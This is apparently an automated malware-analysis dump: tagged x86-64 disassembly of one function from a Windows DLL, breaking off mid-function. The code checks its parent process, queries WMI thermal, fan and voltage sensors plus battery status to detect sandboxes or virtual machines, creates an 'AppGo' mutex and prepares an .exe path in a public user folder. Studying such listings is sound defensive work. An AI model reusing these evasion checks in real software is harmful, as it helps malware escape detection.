Function at 0x180006570
Capabilities:
Check mutex on windows
Connect to wmi namespace via wbemlocator
Create directory
Create http request
Enumerate gui resources
Read data from internet
Receive data
Reference wmi statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1438]
mov eax, 0x1510
call fcn.18000e260
sub rsp, rax
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp + 0x1400], rax
xor r15d, r15d
mov dword [rbp + 0x1e0], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r14d, [r15 + 0x30]
mov rbx, rax
test rax, rax
je 0x180006675
lea rcx, [0x18003b7d8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.ZwQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, r14d
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x190]
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
js 0x18000666c
mov edx, dword [rbp + 0x198]
lea rax, [rbp + 0x1f0]
add edx, 0x68
mov qword [rbp + 0x1f0], r15
lea r9d, [r15 + 2]
mov word [rbp + 0x1e8], r15w
lea r8, [rbp + 0x1e8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x18000666c
cmp qword [rbp + 0x1f0], 2
jne 0x18000666c
cmp word [rbp + 0x1e8], 0x70
jne 0x18000666c
xor ecx, ecx
call fcn.180013db0
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov ebx, r15d
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rsp + 0x40], r15
mov edi, 3
mov dword [rsp + 0x38], r15d
or rsi, 0xffffffffffffffff
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, esi
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
lea rax, [rbp + 0x188]
mov qword [rbp + 0x188], r15
lea r13d, [rdi - 2]
mov qword [rsp + 0x20], rax
mov r8d, r13d
lea r9, [0x18002f860]
xor edx, edx
lea rcx, [0x18002f850]
call qword [sym.imp.ole32.dll_CoCreateInstance]
lea rdx, str.ROOTWMI
mov qword [rbp + 0x178], r15
lea rcx, [rbp + 0x1f0]
call fcn.180001d30
mov rdx, qword [rax]
test rdx, rdx
je 0x18000670a
mov rdx, qword [rdx]
jmp 0x18000670d
mov rdx, r15
mov rcx, qword [rbp + 0x188]
lea r8, [rbp + 0x178]
mov qword [rsp + 0x40], r8
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov rax, qword [rcx]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [rax + 0x18]
lea rcx, [rbp + 0x1f0]
call fcn.180001e38
mov rcx, qword [rbp + 0x178]
xor r9d, r9d
mov dword [rsp + 0x38], r15d
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], edi
lea edx, [r9 + 0xa]
mov dword [rsp + 0x20], edi
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
lea rdx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
mov qword [rbp + 0x170], r15
lea rcx, [rbp + 0x1e8]
call fcn.180001d30
mov rdi, qword [rax]
test rdi, rdi
je 0x18000679c
mov rdi, qword [rdi]
jmp 0x18000679f
mov rdi, r15
lea r12, [0x18003b84c]
mov rdx, r12
lea rcx, [rbp + 0x1f0]
call fcn.180001d30
mov rcx, qword [rax]
test rcx, rcx
je 0x1800067c2
mov rdx, qword [rcx]
jmp 0x1800067c5
mov rdx, r15
mov rcx, qword [rbp + 0x178]
lea r8, [rbp + 0x170]
mov qword [rsp + 0x28], r8
mov r9d, r14d
mov r8, rdi
mov qword [rsp + 0x20], r15
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rcx, [rbp + 0x1f0]
call fcn.180001e38
lea rcx, [rbp + 0x1e8]
call fcn.180001e38
mov rcx, qword [rbp + 0x170]
mov qword [rbp + 0x180], r15
mov dword [rbp + 0x1e0], r15d
test rcx, rcx
je 0x180006872
mov rax, qword [rcx]
lea rdx, [rbp + 0x1e0]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x180]
mov edx, esi
mov r8d, r13d
call qword [rax + 0x20]
cmp dword [rbp + 0x1e0], r15d
je 0x180006863
mov rcx, qword [rbp + 0x180]
add ebx, r13d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x170]
test rcx, rcx
jne 0x18000681e
jmp 0x18000686a
mov rcx, qword [rbp + 0x170]
test ebx, ebx
jne 0x180006adb
lea rdx, str.ROOTCIMV2
mov qword [rbp + 0x178], r15
lea rcx, [rbp + 0x1f0]
call fcn.180001d30
mov rcx, qword [rax]
test rcx, rcx
je 0x180006899
mov rdx, qword [rcx]
jmp 0x18000689c
mov rdx, r15
mov rcx, qword [rbp + 0x188]
lea r8, [rbp + 0x178]
mov qword [rsp + 0x40], r8
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov rax, qword [rcx]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [rax + 0x18]
lea rcx, [rbp + 0x1f0]
call fcn.180001e38
mov rcx, qword [rbp + 0x178]
mov eax, 3
mov dword [rsp + 0x38], r15d
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov dword [rsp + 0x28], eax
lea edx, [rax + 7]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
lea rdx, str.SELECT__FROM_Win32_Fan
mov qword [rbp + 0x170], r15
lea rcx, [rbp + 0x1e8]
call fcn.180001d30
mov rdi, qword [rax]
test rdi, rdi
je 0x18000692f
mov rdi, qword [rdi]
jmp 0x180006932
mov rdi, r15
mov rdx, r12
lea rcx, [rbp + 0x1f0]
call fcn.180001d30
mov rcx, qword [rax]
test rcx, rcx
je 0x18000694e
mov rdx, qword [rcx]
jmp 0x180006951
mov rdx, r15
mov rcx, qword [rbp + 0x178]
lea r8, [rbp + 0x170]
mov qword [rsp + 0x28], r8
mov r9d, r14d
mov r8, rdi
mov qword [rsp + 0x20], r15
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rcx, [rbp + 0x1f0]
call fcn.180001e38
lea rcx, [rbp + 0x1e8]
call fcn.180001e38
mov rcx, qword [rbp + 0x170]
mov qword [rbp + 0x180], r15
mov dword [rbp + 0x1e0], r15d
test rcx, rcx
je 0x1800069fe
mov rax, qword [rcx]
lea rdx, [rbp + 0x1e0]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x180]
mov edx, esi
mov r8d, r13d
call qword [rax + 0x20]
cmp dword [rbp + 0x1e0], r15d
je 0x1800069ef
mov rcx, qword [rbp + 0x180]
add ebx, r13d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x170]
test rcx, rcx
jne 0x1800069aa
jmp 0x1800069f6
mov rcx, qword [rbp + 0x170]
test ebx, ebx
jne 0x180006adb
lea rdx, str.SELECT__FROM_Win32_VoltageProbe
lea rcx, [rbp + 0x1e8]
call fcn.180001d30
mov rcx, qword [rax]
test rcx, rcx
je 0x180006a1e
mov rdi, qword [rcx]
jmp 0x180006a21
mov rdi, r15
mov rdx, r12
lea rcx, [rbp + 0x1f0]
call fcn.180001d30
mov rcx, qword [rax]
test rcx, rcx
je 0x180006a3d
mov rdx, qword [rcx]
jmp 0x180006a40
mov rdx, r15
mov rcx, qword [rbp + 0x178]
lea r8, [rbp + 0x170]
mov qword [rsp + 0x28], r8
mov r9d, r14d
mov r8, rdi
mov qword [rsp + 0x20], r15
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rcx, [rbp + 0x1f0]
call fcn.180001e38
lea rcx, [rbp + 0x1e8]
call fcn.180001e38
mov qword [rbp + 0x180], r15
mov dword [rbp + 0x1e0], r15d
jmp 0x180006ac6
mov rax, qword [rcx]
lea rdx, [rbp + 0x1e0]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x180]
mov edx, esi
mov r8d, r13d
call qword [rax + 0x20]
cmp dword [rbp + 0x1e0], r15d
je 0x180006ad4
mov rcx, qword [rbp + 0x180]
add ebx, r13d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x170]
test rcx, rcx
jne 0x180006a8f
jmp 0x180006adb
mov rcx, qword [rbp + 0x170]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x178]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x188]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
test ebx, ebx
jg 0x180006b2c
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
test eax, eax
je 0x180006b2c
mov al, byte [rbp + 0x1f1]
cmp al, 0x80
je 0x1800092ce
cmp al, 0xff
je 0x1800092ce
lea rcx, [rbp + 0x2c8]
call fcn.18000505c
lea rcx, [rbp + 0x288]
call fcn.18000461c
lea rcx, [rbp + 0x2a8]
call fcn.180004914
mov edi, 0xf
mov qword [rbp + 0x228], r15
lea rdx, str.C:UsersPublicPictures_
mov qword [rbp + 0x240], rdi
lea rcx, [rbp + 0x228]
mov qword [rbp + 0x238], r15
call fcn.18000b084
lea rcx, [rsp + 0x70]
call fcn.180004b64
lea rcx, str..exe
mov rbx, rax
call fcn.1800152d0
mov r8, rax
lea rdx, str..exe
mov rcx, rbx
call fcn.18000b100
xorps xmm0, xmm0
mov qword [rbp + 0x268], r15
lea r8d, [rdi + 0x11]
mov rdx, rax
lea rcx, [rbp + 0x268]
mov rbx, rax
movdqu xmmword [rbp + 0x278], xmm0
call fcn.18000f550
mov qword [rbx + 0x10], r15
lea r12d, [rdi + 1]
mov qword [rbx + 0x18], rdi
mov r14d, 0x1000
mov byte [rbx], r15b
mov rdx, qword [rbp - 0x78]
cmp rdx, r12
jb 0x180006c1e
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180006c19
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006c19
call fcn.1800163dc
int3
call fcn.18000d760
lea rcx, [rsp + 0x70]
call fcn.180004b64
lea rcx, [0x18003b658]
mov rbx, rax
call fcn.1800152d0
mov r8, rax
lea rdx, [0x18003b658]
mov rcx, rbx
call fcn.18000b100
xorps xmm0, xmm0
mov qword [rbp + 0x248], r15
mov r8d, 0x20
lea rcx, [rbp + 0x248]
mov rdx, rax
mov rbx, rax
movdqu xmmword [rbp + 0x258], xmm0
call fcn.18000f550
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], rdi
mov byte [rbx], r15b
mov rdx, qword [rbp - 0x78]
cmp rdx, r12
jb 0x180006cb7
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180006cb2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006cb2
call fcn.1800163dc
int3
call fcn.18000d760
cmp qword [rbp + 0x240], r12
lea r9, [rbp + 0x228]
mov rax, qword [rbp + 0x238]
lea rcx, [rbp + 0x288]
cmovae r9, qword [rbp + 0x228]
cmp qword [rbp + 0x2a0], r12
mov rdx, qword [rbp + 0x298]
cmovae rcx, qword [rbp + 0x288]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.18000bb64
xor ecx, ecx
mov edx, r13d
cmp rax, rsi
jne 0x180009259
lea r8, str.AppGo
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180007b95
xorps xmm0, xmm0
mov qword [rsp + 0x70], r15
movups xmmword [rbp + 0x1f0], xmm0
lea rdx, [0x18003b8cc]
xor eax, eax
movdqa xmm0, xmmword [0x18003bd70]
lea rcx, [rsp + 0x70]
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp + 0x200], rax
call fcn.18000b084
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x1f0]
call fcn.1800043a4
mov rdx, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], r15
call fcn.18000b174
lea rcx, [0x18003b8d0]
call fcn.1800152d0
cmp qword [rbp + 0x1d8], r12
lea rcx, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1d0]
lea r9, [0x18003b8d0]
cmovae rcx, qword [rbp + 0x1c0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.18000bb64
cmp rax, rsi
je 0x180006e50
mov r9, rax
lea rdx, [rsp + 0x70]
xor r8d, r8d
lea rcx, [rbp + 0x1c0]
call fcn.18000a594
lea rcx, [rbp + 0x1c0]
cmp rcx, rax
je 0x180006e17
mov r8b, r15b
lea rcx, [rbp + 0x1c0]
mov rdx, rax
call fcn.18000b218
mov rdx, qword [rbp - 0x78]
cmp rdx, r12
jb 0x180006e50
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180006e4b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006e4b
call fcn.1800163dc
int3
call fcn.18000d760
cmp qword [rbp + 0x1d8], r12
lea rbx, [rbp + 0x1c0]
mov r8, qword [rbp + 0x1d0]
cmovae rbx, qword [rbp + 0x1c0]
test r8, r8
je 0x180006f05
mov edx, 0x20
mov rcx, rbx
call fcn.18000fce0
test rax, rax
je 0x180006efe
sub rax, rbx
cmp rax, rsi
je 0x180006efe
mov r9, rax
lea rdx, [rsp + 0x70]
xor r8d, r8d
lea rcx, [rbp + 0x1c0]
call fcn.18000a594
lea rcx, [rbp + 0x1c0]
cmp rcx, rax
je 0x180006ec5
mov r8b, r15b
lea rcx, [rbp + 0x1c0]
mov rdx, rax
call fcn.18000b218
mov rdx, qword [rbp - 0x78]
cmp rdx, r12
jb 0x180006efe
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180006ef9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006ef9
call fcn.1800163dc
int3
call fcn.18000d760
mov r8, qword [rbp + 0x1d0]
dec r8
lea rdx, [rsp + 0x50]
mov r9, rsi
lea rcx, [rbp + 0x1c0]
mov ebx, r13d
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8d4]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rsp + 0x70]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 3
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8d8]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x10]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 7
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8dc]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x30]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, edi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8e0]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x70]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x1f
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8e4]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x50]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x3f
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8e8]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x30]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x7f
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8ec]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x50]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0xff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8f0]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x70]
dec r8
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x1ff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8f4]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0xb0]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x3ff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8f8]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x150]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x7ff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8fc]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x130]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0xfff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b900]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x110]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x1fff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b904]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0xf0]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x3fff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b908]
call fcn.18000b828
test al, al
je 0x180007263
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0xd0]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
mov ebx, 0x7fff
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b90c]
call fcn.18000b828
test al, al
je 0x180007263
mov dil, r13b
jmp 0x18000726c
mov dil, r15b
bt ebx, 0xe
jae 0x1800072c8
mov rdx, qword [rbp + 0xe8]
btr ebx, 0xe
cmp rdx, r12
jb 0x1800072ac
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800072a7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov esi, 0xf
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], rsi
mov byte [rbp + 0xd0], r15b
jmp 0x1800072cd
mov esi, 0xf
bt ebx, 0xd
jae 0x180007328
mov rdx, qword [rbp + 0x108]
btr ebx, 0xd
cmp rdx, r12
jb 0x180007313
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x18000730e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], rsi
mov byte [rbp + 0xf0], r15b
test r14d, ebx
je 0x180007382
mov rdx, qword [rbp + 0x128]
btr ebx, 0xc
cmp rdx, r12
jb 0x18000736d
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007368
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], rsi
mov byte [rbp + 0x110], r15b
bt ebx, 0xb
jae 0x1800073dd
mov rdx, qword [rbp + 0x148]
btr ebx, 0xb
cmp rdx, r12
jb 0x1800073c8
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800073c3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], rsi
mov byte [rbp + 0x130], r15b
bt ebx, 0xa
jae 0x180007438
mov rdx, qword [rbp + 0x168]
btr ebx, 0xa
cmp rdx, r12
jb 0x180007423
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x18000741e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], rsi
mov byte [rbp + 0x150], r15b
bt ebx, 9
jae 0x180007493
mov rdx, qword [rbp + 0xc8]
btr ebx, 9
cmp rdx, r12
jb 0x18000747e
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007479
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], rsi
mov byte [rbp + 0xb0], r15b
bt ebx, 8
jae 0x1800074e8
mov rdx, qword [rbp + 0x88]
btr ebx, 8
cmp rdx, r12
jb 0x1800074d6
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800074d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], rsi
mov byte [rbp + 0x70], r15b
test bl, bl
jns 0x180007532
mov rdx, qword [rbp + 0x68]
btr ebx, 7
cmp rdx, r12
jb 0x180007526
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007521
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], rsi
mov byte [rbp + 0x50], r15b
test bl, 0x40
je 0x18000757c
mov rdx, qword [rbp + 0x48]
and ebx, 0xffffffbf
cmp rdx, r12
jb 0x180007570
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x18000756b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], rsi
mov byte [rbp + 0x30], r15b
test bl, 0x20
je 0x1800075c6
mov rdx, qword [rbp - 0x38]
and ebx, 0xffffffdf
cmp rdx, r12
jb 0x1800075ba
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800075b5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x50], r15b
test r12b, bl
je 0x180007610
mov rdx, qword [rbp - 0x58]
and ebx, 0xffffffef
cmp rdx, r12
jb 0x180007604
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800075ff
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], rsi
mov byte [rbp - 0x70], r15b
test bl, 8
je 0x18000765a
mov rdx, qword [rbp - 0x18]
and ebx, 0xfffffff7
cmp rdx, r12
jb 0x18000764e
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007649
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x30], r15b
test bl, 4
je 0x1800076a4
mov rdx, qword [rbp + 8]
and ebx, 0xfffffffb
cmp rdx, r12
jb 0x180007698
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007693
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp], r15
mov qword [rbp + 8], rsi
mov byte [rbp - 0x10], r15b
test bl, 2
je 0x1800076ec
mov rdx, qword [rbp - 0x78]
and ebx, 0xfffffffd
cmp rdx, r12
jb 0x1800076df
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800076da
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000771e
call fcn.18000d760
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], rsi
mov byte [rsp + 0x70], r15b
mov rdx, qword [rsp + 0x68]
and ebx, 0xfffffffe
cmp rdx, r12
jb 0x180007729
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007724
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180007724
call fcn.1800163dc
int3
call fcn.18000d760
test dil, dil
jne 0x180007b95
cmp qword [rbp + 0x1d8], r12
lea rsi, [rbp + 0x1c0]
mov r8, qword [rbp + 0x1d0]
lea rdi, [rbp + 0x1c0]
cmovae rsi, qword [rbp + 0x1c0]
mov r14d, r15d
cmovae rdi, qword [rbp + 0x1c0]
add rsi, r8
cmp rdi, rsi
je 0x180007787
movsx ecx, byte [rdi]
call fcn.180015a60
test eax, eax
je 0x180007778
add r14d, r13d
add rdi, r13
cmp rdi, rsi
jne 0x180007769
mov r8, qword [rbp + 0x1d0]
or rsi, 0xffffffffffffffff
lea rdx, [rsp + 0x50]
mov r9, rsi
lea rcx, [rbp + 0x1c0]
add r8, 0xfffffffffffffffe
bts ebx, 0xf
call fcn.18000a594
lea rcx, [0x18003b8f8]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x1800077c2
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x1800077df
lea rdx, [0x18003b8f8]
call fcn.18000fc00
test eax, eax
je 0x18000799a
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x50]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
bts ebx, 0x10
call fcn.18000a594
lea rcx, [0x18003b8fc]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x18000781c
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007839
lea rdx, [0x18003b8fc]
call fcn.18000fc00
test eax, eax
je 0x18000799a
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x70]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
bts ebx, 0x11
call fcn.18000a594
lea rcx, [0x18003b900]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007876
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007893
lea rdx, [0x18003b900]
call fcn.18000fc00
test eax, eax
je 0x18000799a
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x30]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
bts ebx, 0x12
call fcn.18000a594
lea rcx, [0x18003b904]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x1800078d0
mov rcx, qword [rdi]
